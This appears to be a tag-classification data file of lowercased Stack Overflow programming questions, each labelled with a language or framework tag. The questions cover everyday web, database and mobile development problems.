animate scroll to next/prev post  how can i create two buttons ( next  and  prev ) that will scroll the browser to the article s title     <pre><code>&lt;div id= cycle-posts &gt;     &lt;a id= next  href= #next &gt;&lt;/a&gt;     &lt;a id= prev  href= #prev &gt;&lt;/a&gt; &lt;/div&gt;  &lt;article&gt;my first post&lt;/article&gt; &lt;article&gt;my second post&lt;/article&gt; &lt;article&gt;my third post&lt;/article&gt; &lt;article&gt;my fourth post&lt;/article&gt; </code></pre>   if it s relevant: after the first few  my articles are loaded in using  infinite scroll .    this is what i got so far  but it s not even close:   <pre><code>$( #cycle-posts a ).bind( click   function (e) {     $articles = $( article );     e.preventdefault();     var totalarticles = $articles.length;       if ($(this).attr( id ) ==  next ) {         new_index = ++current_index;     } else if ($(this).attr( id ) ==  prev ) {         new_index = --current_index;     }      if (new_index &gt; totalarticles) {         new_index = 0;     }         $articles.removeclass( current ).eq(new_index).addclass( current );      console.log(new_index+  /  +totalarticles);      // now scroll offset  find offset based on .current   }); </code></pre>,jquery
javascript: how convert array of objects to object with sorted unique arrays   have data that has this kind of structure:   <pre><code>$input = [ { animal:  cat   name:  rocky   value: 1 }             { animal:  cat   name:  spot    value: 2 }             { animal:  dog   name:  spot    value: 3 } ]; </code></pre>   need fastest possible method for converting to this format:   <pre><code>$output = { animal: [  cat    dog  ]              name: [  rocky    spot  ]              value: [ 1  2  3 ] }; </code></pre>   the output should have keys equal to each of the keys in each object from the input. and the output values should be arrays with the sorted unique values.  i found a few ways to do it using nested loops  but slower than i would like.  with 30 000 elements to the input array with 8 keys for each of the objects  the best i have been able to do is 300ms in chrome.  would like to get down to 100ms.  is there any faster method using a map or reduce,javascript
angularjs - simple routing not working  i have a route with parameter like this   <pre><code> var app = angular.module( myapp   [ ngroute ]);      app.config([ $routeprovider    $locationprovider   function ($routeprovider  $locationprovider) {             $locationprovider.hashprefix( ! ).html5mode(true);              $routeprovider              .when( /sukien   { templateurl:  /app/views/sukien/index.html    controller:  eventctrl  })             .when( /sukien/:id   { templateurl: function (params) { return  /app/views/sukien/index.html id=  + params.id }  controller:  eventctrl  })           }]) </code></pre>   why /sukien works and /sukien/:id doesn t   indeed  angularjs seems not to understand what it is. <strong> uncaught typeerror: undefined is not a function </strong>    /sukien/333 => failed to work.,angularjs
jquery/asp.net button click stops working after validate  this is the code in .cs code behind that gets injected into the page and the button markup in the ascx that goes along with this code.    when the page is loaded  if i put in an email and click the button  my code behind is hit. if i leave the email field blank  the validation flags it as required (which is correct). if i then enter a value in the field and click the button again  my code behind does not get hit. this is very consistent in that if the validation marks the value as invalid  the button click will never get hit in the code behind.    any help is greatly appreciated.   <pre><code>  &lt;asp:button id= btncontinue  runat= server  onclick= btncontinue_click  text= continue /&gt;       @ $(document).ready(function()      {        $( #  + this.btncontinue.clientid + @  ).click(function () {                            alert( in button continue click );                     });          $( #aspnetform ).validate({           rules:            {  +              this.txtemail.uniqueid + @ :              {                  required: true              }           }             messages:            {  +              this.txtemail.uniqueid + @ :              {                  required:  email is required.               }           }        });     }); ; </code></pre>  <hr>   i neglected to mention (it was a long  late night) this is happening in a webpart deplyed to sharepoint 2010. it turns out that our designer modified our master page which is causing the issue. if i use the default.master it works fine. i m in the process of commenting out sections of the modified master page to find what is causing the problem.,jquery
strength and algorithm behind the rsaencryptioncookietransform class in .net  can anyone please let me know the details regarding the strength and algorithm used by the <code>rsaencryptioncookietransform</code> class in .net,.net
has_many :though with distinct option won t work  tried the <code>distinct</code> option for has_many relationship   <pre><code>#user.rb class user    has_many :badge_achievements   has_many :badges  -&gt; { uniq }  through: :badge_achievements </code></pre>   my test defines the following   <pre><code>#user_test.rb user.badges.count.must_equal 1 # add the same badge again user.badges &lt;&lt; user::badge.find(1) user.badges.count.must_equal 1 #should not be changed </code></pre>   unfortunately it seems it s not validating correctly and therefore mysql is raising    <code> error: a user::has many community badges#test_0004_can have every badge only once: activerecord::recordnotunique: mysql2::error: duplicate entry  50-1  for key  index_user_badge_achievements_on_user_id_and_badge_id : insert into</code>user_badge_achievements<code>(</code>user_id<code> </code>badge_id<code> </code>created_at<code> </code>updated_at<code>) values (50  1   2016-12-12 02:17:56    2016-12-12 02:17:56 )     test/models/user_test.rb:124:in</code>block (3 levels) in  `    do i have a misunderstanding on how it works,ruby-on-rails
how use bindingredirect attribute to redirect to current version of assembly  i want to use bindingredirect attribute to redirect old version of assembly to latest release version  is it possible or i have to change newversion value each time when i make a new release,.net
construct dictionary from mixed type list  i have the following list in python:   <pre><code>rooms = [1  john   mike   simona  2  peter   mark  3  olivia ] </code></pre>   and i would like to convert it into a dictionary. the integers indicate the rooms and the names are strings:   <pre><code>rooms = { room1 : [ john   mike   simona ]   room2 : [ peter   mark ]   room3 : [ olivia ]} </code></pre>   how can i do that in an elegant way,python
ios uitableview cell fit to screen width  i m new to ios and trying tableview for the first time.    i added a prototype cell into the tableview. it has label a inside it which is on the right side. when i run it on lower display like 4s  the label is not visible.     i tried setting horizontal space - content view to label (on right side)  but has no effect.    i been playing with the auto layout for sometime  but can t figure it out  can someone be kind enough to help me     <strong>edit:</strong>    <img src= https://i.stack.imgur.com/go6x9.png  alt= enter image description here >,ios
deleting file and renaming file in java  i am trying to use this code to replace field and after the replace is done i like to delete the file. but when i replace the file only 1 line was saved. how should i ensure that the other lines will be saved     <pre><code>public static void main(string[] args){     addchips(); } public static void addchips() {       file oldfile = new file ( players.dat );       file newfile = new file ( tempchips.dat );        bufferedreader br = null;       bufferedwriter bw = null;        arraylist&lt;string&gt; player = new arraylist&lt;string&gt;();       try {          br = new bufferedreader(new filereader(oldfile));          bw = new bufferedwriter(new filewriter(newfile));          string line;          scanner read = new scanner(system.in);          system.out.println( please enter username );          string usern = read.nextline();          system.out.println( please enter chips to add );          string usercadd = read.nextline();           while ((line = br.readline()) != null) {                 string[] details = line.split( \\| );                 string username = details[0];                 string password = details[1];                 string chips = details[2];                 int totalchips = (integer.parseint(usercadd)+ integer.parseint(chips));             if (username.equals(usern)){                line = username +  |  + password +  |  + totalchips;                bw.write(line + system.getproperty( line.separator ));             }                     //issue is here                     br.close();                     bw.close();                     oldfile.delete();                     newfile.renameto(oldfile);                     //adminmenu();          }        } catch (exception e) {          return;       } finally {          try {             if(br != null)                br.close();          } catch (ioexception e) {             //          }          try {             if(bw != null)                bw.close();          } catch (ioexception e) {             //          }       } } </code></pre>,java
how to discard the rest of a line in c  i m trying to write a function that removes the rest of a line in c. i m passing in a char array and a file pointer (which the char array was read from). the array is only supposed to have 80 chars in it  and if there isn t a newline in the array  read (and discard) characters in the file until you reach it (newline). here s what i have so far  but it doesn t seem to be working  and i m not sure what i m doing wrong. any help would be greatly appreciated! here s the given information about what the function should do:     discardrest - if the fgets didn t read a newline than an entire line hasn t been read. this function takes as input the most recently read line and the pointer to the file being read. discardrest looks for the newline character in the input line. if newline character is not in the line  the function reads (and discards) characters from the file until the newline is read. this will cause the file pointer to be positioned to the beginning of the next line in the input file.    and here s the code:   <pre><code>void discardrest(char line[]  file* file) {     bool newlinefound = false;     int i;     for(i = 0; i &lt; sizeof(line); i++)     {         if(line[i] ==  \n ) newlinefound = true;     }     if(!newlinefound)     {         int c = getc(file);         while(c !=  \n )         {             c = getc(file);         }     } } </code></pre>,c
.html(  )  .empty(  ) not working in ie  guys i am fed up trying to empty the contents of a div at run time in ie!!<br> i simply need to empty the contents of a div  because every time i need to show a new video like youtube.       i tried everything like <code>$( #divvideo ).empty(  )</code>  <code>$( #divvideo ).remove()</code> but nothing works for me in ie. could you please suggest what can i do     <pre><code> $( #divvideo ).html(  );         this.$embed = $( &lt;embed&gt;&lt;/embed&gt; );         this.$embed.attr({ src: src.href });         this.$embed.attr({ width:  420  });         this.$embed.attr({ height:  366  });         this.$embed.attr({ type:  video/x-ms-wmv-plugin  });         this.$embed.attr({ pluginurl:  http://www.microsoft.com/windows/windowsmedia     });         this.$embed.attr({ allowchangedisplaysize:  1  });         this.$embed.attr({ autosize:  1  });         this.$embed.attr({ displaysize:  1  });         this.$embed.attr({ showcontrols:  1  });         this.$embed.attr({ showstatusbar:  1  });         this.$embed.attr({ autorewind:  1  });         this.$embed.attr({ autostart:  1  });         $( #divvideo ).append(this.$embed); </code></pre>,asp.net
will releasing an array also release its elements   i alloc my <code>nsmutablearray</code>  and add objects that were <code>alloced</code> as well. will calling <code>release</code> on my array also release the elements within  or do i have to release each element manually first,objective-c
hi  can somebody help me with this loop  sorry for this question  but i ve got no where else to go  and it s getting to me that i cant find a solution. i m quite good with the programming language pascal  so this c language seems very familiar to me  but adding an if function which changes the whole structure of a while loop is too complicated for me. please any help is appreciated.   <blockquote>    the array variable consists of a sequence of ten numbers. inside the while loop  you must write two if conditions  which change the flow of the loop in the following manner (without changing the printf command):       <ul>   <li>if the current number which is about to be printed is less than 5  don t print it.</li>   <li>if the current number which is about to be printed is greater than 10  don t print it and stop the loop.<br><br>   notice that if you do not advance the iterator variable i and use the continue derivative  you will get stuck in an infinite loop.</li>   </ul> </blockquote>  <pre><code>#include &lt;stdio.h&gt;  int main() {     int array[] = {1  7  4  5  9  3  5  11  6  3  4};     int i = 0;      while (i &lt; 10)     {         /* your code goes here */          printf( %d\n   array[i]);         i++;     }     return 0; } </code></pre>,c
angular - making an api call for ng-hide/show - bad idea   i have a button that i want to show/hide depending on whether a user has posted on an item before. to find this out i ve written an api call which returns true or false.    however whenever i use this is my code  i keep getting the:    <code>uncaught error: [$rootscope:infdig] 10 $digest() iterations reached. aborting!</code> error.    why would my code be doing this and is the general way i ve implemented this the correct way to go about this     my code looks like:   <pre><code>&lt;div ng-show= main.hasposted() &gt;the button to go in here&lt;/div&gt; </code></pre>   and in the controller:   <pre><code>self.hasposted = function() {       $http.get(api +  /hasposted   {          headers: {            itemtocheck: $routeparams.id          }        }).        then(function(result){          return result.data.success; }); </code></pre>,angularjs
how to fit image in div tag  i have image inside div tag. when i change image (with high resolution)  url from code behind   it shows scrolling for that div. how to fit image to div.    here is my code    <pre><code> &lt;div class= imagecols &gt;     &lt;img runat= server  id= imgoriginal  alt= orgimg  /&gt;  &lt;/div&gt; </code></pre>   imgoriginal.src =  profilepictures/  + session[ workingimage ].tostring();,asp.net
reference used for template parameter  i got following code running   <pre><code>using namespace std; #include &lt;iostream&gt;  template&lt;typename a&gt; struct function  {      void self1(){ cout &lt;&lt;  hello world 1111  &lt;&lt; endl; } };  template&lt;typename a&gt; struct function&lt;a&amp;&gt;  {      void self2() { cout &lt;&lt;  hello world 2222  &lt;&lt; endl; } };   int main() {     function&lt;int&gt; a;     a.self1();     function&lt;int&amp;&gt; b;     b.self2();     return 0; } </code></pre>   the result is:   <pre><code>hellow world 1111 heloow world 2222 </code></pre>   would like to ask the relation ship between the first  struct function  and the second  struct function     is the second one classfied as  template specialization  for the first one  (seems not)    i can see that the 2nd one is based on the 1st one. (by removing the 1st one  it is not compilable). but    <pre><code>b.self1() is not defined. </code></pre>   so somehow the 2nd have redefined the struct to a new one,c++
create parent links in mysql  i have a mysql table that looks like this    <pre><code>project_id user_id 1          1  1488179    1  1          2  100        2  1488179    2  260279     2  1          3  11578      3  5          3 </code></pre>   where a user is following projects. a user can follow multiple projects. i want to link projects when a users is following both of the projects.     what i am aiming for is something like this    <pre><code>project_id project_id user_id 1          1488179    1 1          100        2 </code></pre>   is there anyway to achieve this in mysql     this is what i tried so far:    <pre><code>select distinct a.project_id  b.project_id  a.user_id    from follow_projects as a   inner join follow_projects as b   on a.project_id &gt; b.project_id and a.user_id = b.user_id     </code></pre>,mysql
c/c++ module vs python module.  in python ( cpython) we can import module: <code>import module</code> and module can be just <code>*.py</code> file ( with a python code) or module can be a module written in c/c++ ( be extending python). so  a such module is just compiled object file ( like <code>*.so</code>/<code>*.o</code> on the unix).     i would like to know how is it executed by the interpreter exactly.    i think that python module is compiled to a bytecode and then it will be interpreted. in the case of c/c++ module functions from a such module are just executed. so  jump to the address and start execution.     please correct me if i am wrong/ please say more.,python
how come css cant find image   i am using nivo slider with the below setup    <img src= https://i.stack.imgur.com/6zjy2.png  alt=  >   <pre><code>/     /js         /nivo             /images                  ...             nivo-slider.css             ... </code></pre>   in nivo-slider.css  dont i reference images using  images/bullets.png   but in the browser  i dont see images  then in firebug  it says not found too...,css
"vertical scroll bar not showing in html  i m having trouble getting a scroll bar to show for a school project. i ve tried debugging  looking up different ways to fix this and trying all different types of codes. i  however  still can t get a scroll bar to show up. here s a preview of the code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 &lt;title&gt;cloud 9 hyperx&lt;/title&gt;
 &lt;body background= test.png  alt=   style= position: fixed;&gt;
 &lt;center&gt;&lt;a href= http://na.lolesports.com/articles/power-rankings-6-cloud9 &gt;&lt;img src= cloud9.png  title= power rankings -- cloud 9 &gt;&lt;/a&gt;&lt;br&gt;&lt;/center&gt;
 &lt;center&gt;&lt;a href= http://na.lolesports.com/na-lcs/2015/spring/teams/cloud9 &gt;cloud 9 lcs page&lt;/a&gt; || &lt;a href= http://lol.gamepedia.com/cloud9 &gt;gamepedia&lt;/a&gt;
 &lt;hr width=75% size=5 color=00aced&gt;
 &lt;h1&gt;pro e-sports players  lcs team&lt;/h1&gt;
 &lt;a href= https://www.youtube.com/watch v=ts9dsdfkaq0 &gt;&lt;img src= c9team.png  title= ultra rapid fire tsm vs c9 &gt;&lt;/a&gt;&lt;br&gt;
 &lt;p&gt;cloud 9 hyperx is a league of legends championship series team consisting of&lt;br&gt;
 &lt;table&gt;
   &lt;table  border= 1 &gt;
    &lt;tr&gt;
       &lt;th colspan= 2 &gt;
       &lt;/th&gt;
    &lt;/tr&gt;
       &lt;th&gt;name&lt;/th&gt;
       &lt;th&gt;role&lt;/th&gt;
    &lt;tr&gt;
       &lt;td&gt;hai  hai  lam&lt;/td&gt;
       &lt;td&gt;mid laner&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
       &lt;td&gt;an  balls  le&lt;/td&gt;
       &lt;td&gt;top laner&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
       &lt;td&gt;william  meteos  hartman&lt;/td&gt;
       &lt;td&gt;jungler&lt;/td&gt;
    &lt;/tr&gt;
       &lt;tr&gt;
       &lt;td&gt;zachary  sneaky  scuderi&lt;/td&gt;
       &lt;td&gt;adc (attack damage carry)&lt;/td&gt;
    &lt;/tr&gt;
       &lt;tr&gt;
       &lt;td&gt;daerek  lemonnation  hart&lt;/td&gt;
       &lt;td&gt;support&lt;/td&gt;
    &lt;/tr&gt;
 &lt;/table&gt;
 &lt;!--my favorite thing to do on the weekend is play video games with my friend tim fish and jake mcgraw and watch lcs--&gt;
 &lt;p&gt;cloud 9  previously &lt;a href= http://lol.gamepedia.com/quantic_gaming &gt;quantic gaming&lt;/a&gt;  first entered the lcs with the line-up of&lt;br&gt;
 nientonsoh(team fusion)  hai  lemonnation  wildturtle(team solo mid)  &lt;br&gt;
 and yazuki. while team quantic they tried to enter the lcs qualifiers  &lt;br&gt;
 but lost their first run. after their first lost in the lcs qualifiers &lt;br&gt;
 they took on a major roster change.&lt;br&gt;&lt;/center&gt;
 &lt;p align= left &gt;
 &lt;ul&gt;
 &lt;li&gt;yazuki left  balls came in for top lane
 &lt;li&gt;wildturtle moved to tsm  sneaky came in for adc
 &lt;li&gt;neintonsoh left leaving mid open  hai moved to mid from previously being jungle
 &lt;li&gt;meteos stepped into jungle to complete what was quantic gaming.&lt;br&gt;
 &lt;/ul&gt;&lt;/p&gt;&lt;center&gt;
  after the roster change quantic went through lcs qualifiers again  only this time&lt;br&gt;
  under the name of cloud 9. after entering the lcs cloud 9 won two lcs&lt;br&gt;
  seasons and finished in the top eight for season 3 world championship.&lt;br&gt;</code></pre>
 </div>
 </div>",html
init a nsmutablearray in a singelton that saves as a state  im am using a pattern from the book learning cocos2d. i have a gamestate class that is a singleton that can be saved as a state. the bool soundon gets init as false the first time the class gest created  but the array levelprogress dosent. i made comments on all the lines on which i have tried to init the array. the class uses a helper that loads and saves the data. when i try 1 or 2 i get  instance variable  levelprogress  accessed in class method  error.   <pre><code>#import &lt;foundation/foundation.h&gt; #import  cocos2d.h   @interface gamestate : nsobject &lt;nscoding&gt; {     bool soundon;     nsmutablearray *levelprogress;  }  + (gamestate *) sharedinstance; - (void)save;  @property (assign) bool soundon; @property (nonatomic  retain) nsmutablearray *levelprogress; @end   #import  gamestate.h  #import  gcdatabase.h   @implementation gamestate  @synthesize soundon; @synthesize levelprogress;  static gamestate *sharedinstance = nil;  +(gamestate*)sharedinstance {     @synchronized([gamestate class])      {         if(!sharedinstance) {             sharedinstance = [loaddata(@ gamestate ) retain];             if (!sharedinstance) {                 [[self alloc] init];                  // 1. levelprogress = [[nsmutablearray alloc] init];             }         }         return sharedinstance;      }     return nil;  }  +(id)alloc  {     @synchronized ([gamestate class])     {                 nsassert(sharedinstance == nil  @ attempted to allocate a \                  second instance of the gamestate singleton );          sharedinstance = [super alloc];         // 2. levelprogress = [[nsmutablearray alloc] init];         return sharedinstance;      }     return nil;   }  - (void)save {     savedata(self  @ gamestate ); }  - (void)encodewithcoder:(nscoder *)encoder {     // 3. levelprogress = [[nsmutablearray alloc] init];     [encoder encodebool:currentchoosencountry forkey:@ soundon ];     [encoder encodeobject:levelprogress forkey:@ levelprogress ]; }  - (id)initwithcoder:(nscoder *)decoder {     if ((self = [super init])) {         // 4. levelprogress = [[nsmutablearray alloc] init];             soundon = [decoder decodeboolforkey:@ soundon ];         levelprogress = [decoder decodeobjectforkey:@ levelprogress ];     }     return self; } @end </code></pre>   <strong>solution:</strong> *<em>i just added av init method...</em>*   <pre><code>-(id)init {     self = [super init];     if (self != nil) {         levelprogress = [[nsmutablearray alloc] init];     }     return self; } </code></pre>,objective-c
if your server runs out of space does your db reject insert queries (or all queries)  if your server runs out of disk space does that automatically mean that your database will now reject any queries or does mysql reserve space on the disk for growth,mysql
where should i store data extracted from a txt file to retrieve it easily for later use   i am making a c++ application where i will get student information like name  exam score etc from a .txt file. i need to store this information in a table from where i could retrieve it easily. the operations i need to perform are:   <ol> <li>sorting based on name.</li> <li>sorting based on score of a particular subject.</li> <li>sorting based on overall score.</li> <li>search score by name.</li> </ol>   i don t have to modify any of this data.     i don t have any experience in building real world project so i have no idea about doing this. the text file will be deleted after it has been read by the app. each student is uniquely identified by string <code>studentcode</code>. once a student has been added to this table  i also need support for adding some more exam scores for that student.    i am working on windows and this is a personal project for learning purpose so i am free to choose any tools or libraries. thanks for your help.,c++
angularjs: set accessible service across multiple controllers  i have a navbar controller where i have a search bar that searches books. in my navbar ui-router state  i resolve the books and set it within a books service. as a result  i can then access all the books. this is not just in the navbar  but across all controllers from that point forward.     however  in my summary dashboard  i want to list all the books i ve pulled.  instead of redoing a call to pull the books  i want to use the books service. if i start the app at the summary dashboard  i am running into problems because the summary dashboard doesn t know how to wait for the books service to be populated from the navbar.    my question is how do i make the summary dashboard wait for the navbar controller to resolve the books service,angularjs
nsarray return specific values <pre><code>nsarray *arr = [nsarray arraywithobjects:@ m                        @ f                        @ m                        @ f                        @ f                        nil]; </code></pre>   how can i put all the values of <code>@ f </code> into it s own array simply  using a <em>key-value collection operator</em> (not using manual loop)     eg i would think it might look like <code>[arr valueforkeypath:@ self==f ]</code>. any suggestions,ios
uitableview empty  even after calling reloaddata  kind of following this tutorial here: <a href= http://mobile.tutsplus.com/tutorials/iphone/iphone-core-data/  rel= nofollow >http://mobile.tutsplus.com/tutorials/iphone/iphone-core-data/</a>    i use the fetch records method in my appnamedelegate.m file. i then call reload on my tableview. unlike the linked tutorial  i am not using a uitableviewcontroller. instead  i have added a table view to the navigationcontroller  and connected it to the iboutlet variable called contactstable.     here s my code for calling and loading the data:   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {       [self.window addsubview:[self.navigationcontroller view]];     [self fetchrecords];     [self.contactstable reloaddata];     [self.window makekeyandvisible]; } </code></pre>   the header file:   <pre><code>// //  simplecontactsappdelegate.h //  simplecontacts // //  created by aaron mcleod on 11-05-28. //  copyright 2011 __mycompanyname__. all rights reserved. //  #import &lt;uikit/uikit.h&gt; #import &lt;coredata/coredata.h&gt;  @interface simplecontactsappdelegate : nsobject &lt;uiapplicationdelegate&gt; {     nsmanagedobjectmodel *managedobjectmodel;     nsmanagedobjectcontext *managedobjectcontext;     nspersistentstorecoordinator *persistentstorecoordinator;         uiwindow *window;       uinavigationcontroller *navigationcontroller;     // view for adding new contacts     uiviewcontroller *newcontactview;     uibutton *addbutton;      // controls for the addcontactview     uibutton *savecontactbutton;     uitextfield *namefield;     uitextfield *emailfield;     uitextfield *phonefield;      uitableview *contactstable;     nsmutablearray *contactarray; }  @property (nonatomic  retain  readonly) nsmanagedobjectmodel *managedobjectmodel;   @property (nonatomic  retain  readonly) nsmanagedobjectcontext *managedobjectcontext;   @property (nonatomic  retain  readonly) nspersistentstorecoordinator *persistentstorecoordinator;  @property (nonatomic  retain) iboutlet uiwindow *window; @property (nonatomic  retain) iboutlet uinavigationcontroller *navigationcontroller;  @property (nonatomic  retain) iboutlet uibutton *addbutton; @property (nonatomic  retain) iboutlet uitableview *contactstable; @property (nonatomic  retain) nsmutablearray *contactarray;  // controller and fields for the form @property (nonatomic  retain) iboutlet uiviewcontroller *newcontactview; @property (nonatomic  retain) iboutlet uitextfield *namefield; @property (nonatomic  retain) iboutlet uitextfield *emailfield; @property (nonatomic  retain) iboutlet uitextfield *phonefield; @property (nonatomic  retain) iboutlet uibutton *savecontactbutton;   - (nsstring *)applicationdocumentsdirectory; - (ibaction) savecontact; - (ibaction) switchtoaddcontactview; - (void)fetchrecords; - (nsinteger) numberofsectionsintableview:(uitableview *)tableview; - (nsinteger) tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section;  @end </code></pre>   you can find my project source code here as well: <a href= https://github.com/agmcleod/simplecontacts/tree/parttwo  rel= nofollow >https://github.com/agmcleod/simplecontacts/tree/parttwo</a> in case i left out code you might need. thanks.,iphone
split last 1mb off a 1gb log file  i m trying to extract the last 1mb of a 1gb log file on a mac. when i use    <pre><code>split -b 1m  </code></pre>   it creates a lot of files. is there a better way doing it,mysql
php strip letters and put values into array  i have these two pieces of text   <pre><code>120 - 140 (cm) </code></pre>   and   <pre><code> 110 (cm) </code></pre>   i d like to store the values into an array like   <pre><code>$array[0] = 120 $array[1] = 140  $array_2[0] = 110 </code></pre>   how would i do this,php
shortened html text and malformed tags  in my web application i intend to shorten a lengthy string of html formatted text if it is more than 300 characters long and then display the 300 characters and a <code>read more</code> link on the page.    the issue i came across is when the 300 character limit is reached inside an html tag  example: (look for here)   <pre><code> &lt;a hrehere= somewhere &gt;link&lt;/a&gt;  &lt;a hre= somewhere &gt;liherenk&lt;/a&gt; </code></pre>   when this happens  the entire page could become ill-formatted because everything after the <code>here</code> in the previous example is removed and the html tag is kept open.    i thinking of using css to hide any overflow beyond a certain limit and create the  read more  link if the text is beyond a certain number  but this would entail me including all the text on the page.    i ve also thought about splitting the text at <code>.</code> to ensure that it s split at the end of a sentence  but that would mean i would include more characters than i needed.    is there a better way to accomplish this     note: i have not specified a server side language because this is more of a general question  but i m using asp.net/c# .,html
calculate sum  counts in many to many  greetings i am trying to sum up expense value for each transaction.    association table.   <pre><code>  **assoc table schema**       | pk_id | fk_transaction | fk_expense |     |-------|----------------|------------|     |     1 |              1 |         85 |     |     2 |              2 |         81 |     |     3 |              3 |         77 |     |     4 |              4 |         83 |     |     5 |              5 |         84 |     |     6 |              6 |        105 |     |     7 |              7 |        104 |     |     8 |              8 |         71 |     |     9 |              8 |         88 |     |    10 |              8 |         90 | </code></pre>   transaction table   <pre><code>**transaction table schema**  | pk_id | type | value | confirmed_value    | |-------|------|-------|--------------------| |     1 |    1 |   3.2 |               0    | |     2 |    1 |  23.2 |               0    | |     3 |    1 |  33.2 |               0    | |     4 |    1 |  43.2 |              11.00 | |     5 |    1 |  53.2 |               0    | |     6 |    1 |  63.2 |               0    | |     7 |    1 |  73.2 |               0    | |     8 |    1 |  83.2 |              66.00 | |     9 |    1 |  93.2 |               0    | |    10 |    1 | 133.2 |              77.00 | |    11 |    1 | 123.2 |               0    | </code></pre>   expences table   <pre><code>| pk_id | value | |-------|-------| |    85 |   3.2 | |    81 |  23.2 | |    77 |  33.2 | |    83 |  43.2 | |    84 |  53.2 | |   105 |  63.2 | |   104 |  73.2 | |    71 |  83.2 | |    88 |  93.2 | |    90 | 133.2 | </code></pre>   result ::   <pre><code>| pk_id | value | confirmed_value | |-------|-------|-----------------| |     1 |   3.2 |               0 | |     2 |  23.2 |               0 | |     3 |  33.2 |               0 | |     4 |  43.2 |              11 | |     5 |  53.2 |               0 | |     6 |  63.2 |               0 | |     7 |  73.2 |               0 | |     8 |  83.2 |              66 | |     8 |  93.2 |              66 | |     8 | 133.2 |              66 | </code></pre>   desired - before calculations ( just to give u the idea )   <pre><code>| pk_id | value | confirmed_value | |-------|-------|-----------------| |     1 |   3.2 |               0 | |     2 |  23.2 |               0 | |     3 |  33.2 |               0 | |     4 |  43.2 |              11 | |     5 |  53.2 |               0 | |     6 |  63.2 |               0 | |     7 |  73.2 |               0 | |     8 |  309.6 |             66 | </code></pre>   <strong>full desired result</strong>    count matching values count(confirmed_value = value )  count entries that not match  count(confirmed_value != value )     /\ calculate value of confirmed values    sum(transactions.confirmed_value)    and calculate value itself   <pre><code>should be a row result ( example ) ======================================================================================================================= matched | not_matched | sum(of values) | count(of confirmed equal to value ) | count(of confirmed ! equal to value )  =======================================================================================================================  1      |    10       |    3003.22     |         3                           |  10 ======================================================================================================================= </code></pre>   sql fiddle : <a href= http://sqlfiddle.com/#!9/2ab102/9  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/2ab102/9</a>    thanks for any tips,mysql
php - while loop for database doesn t work   so i created while loop   <pre><code>$tradetoken = mysql_query( select tradeid from `bot_tasks` where id= .$time.  );     $tradetokenr[ tradeid ] = null;     while(empty($tradetokenr[ tradeid ])){         $tradetokenr = mysql_fetch_array($tradetoken);     } </code></pre>   so basically  if the tradeid is empty then it tries to get it again. then i filled the tradeid  but i didn t got an response. it was just <code>loading</code> and then showed internal error 500,php
how to get the values of a dynamic textbox  i have added some dynamic textboxes upon a button click. i need the values in the click event of another button click. how can i achieve that,asp.net
dropbox file type icons  hello i am making an iphone app using the dropbox sdk and i want to know how to use the same icons that they use for file types  i notice these are the same icons used on the mac. any idea,iphone
sort coordinates in python  i have a list of coordinates like:    [44.64 -123.11;38.91 -121.99;40.35 -122.28;43.21 -123.36;41.77 -122.58;37.77 -122.42]    i need to sort this list. any suggestions      edit: sorry for not sharing the expected output:    it should be [44.64 -123.11;43.21 -123.36;41.77 -122.58;40.35 -122.28;38.91 -121.99;37.77 -122.42],python
difference between: $_server[ script_name ] and $_server[ php_self ]  what is the difference between:   <pre><code>$_server[ script_name ] </code></pre>   and   <pre><code>$_server[ php_self ] </code></pre>   thank you.,php
mobile nav being covered by container div (not stretching enough)  i m running into a problem with the mobile version of a site i m working on. i added the following css to the nav menu to make all of the list items full width and stretch across the length of the nav bar (for desktop users).    <pre><code>.menu { width:100%; border:0px solid black; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; }  .menu ul { margin: 0; padding: 0; }  .menu li { list-style: none; text-align: center; width: 14.285%; /* fallback for non-calc() browsers */ width: calc(100% / 7); box-sizing: border-box; }  /* @media only screen { .menu li {  width:100%;  width: calc(100%/1); } } */  .main-nav {  border: 0px solid black; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; }   .menu li.menu-item-128 { border:0px solid black; border-bottom-left-radius:8px;  border-collapse:collapse;  }  .menu li.menu-item-128 a { border:0px solid black; border-bottom-left-radius:8px;   border-collapse:collapse; }    .menu li.menu-item-642 { border:0px solid black; border-top-right-radius:0px; border-bottom-right-radius:8px;   }  .menu li.menu-item-642 a { border:0px solid black; border-top-right-radius:0px; border-bottom-right-radius:8px;   } </code></pre>   the .menu li rules are what s causing this problem (<a href= http://s22.postimg.org/watzsv0wx/mobile_nav.jpg  rel= nofollow >http://s22.postimg.org/watzsv0wx/mobile_nav.jpg</a>)    i want it to look like this  (<a href= http://s8.postimg.org/x0brxplhx/mobile_nav2.jpg  rel= nofollow >http://s8.postimg.org/x0brxplhx/mobile_nav2.jpg</a>)    but the only way i ve managed to get the mobile nav menu to look normal is by commenting out the .menu li rules  which prevents the list items from properly stretching in desktop view. the  @media only screen  was my attempt at resolving the problem  but it didn t really work out.,css
html list item with multiple columns  i m trying to pretty-up a list that consists of usernames and real names (e.g. jbloggs (joe bloggs). i d like the real names to line-up in a column  but when i add <code>&lt;span class= col-xs-6 &gt;</code> around each part (see below) the list screws-up! anyone know how to do this    <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;a href= # &gt;&lt;span class= col-xs-6 &gt;jbloggs&lt;/span&gt;&lt;span class= col-xs-6 &gt;- joe bloggs&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;&lt;span class= col-xs-6 &gt;fjibbert&lt;/span&gt;&lt;span class= col-xs-6 &gt;- flipperty jibbert&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;&lt;span class= col-xs-6 &gt;beno&lt;/span&gt;&lt;span class= col-xs-6 &gt;- brian eno&lt;/span&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   i m using bootstrap 3 for layout  etc.,html
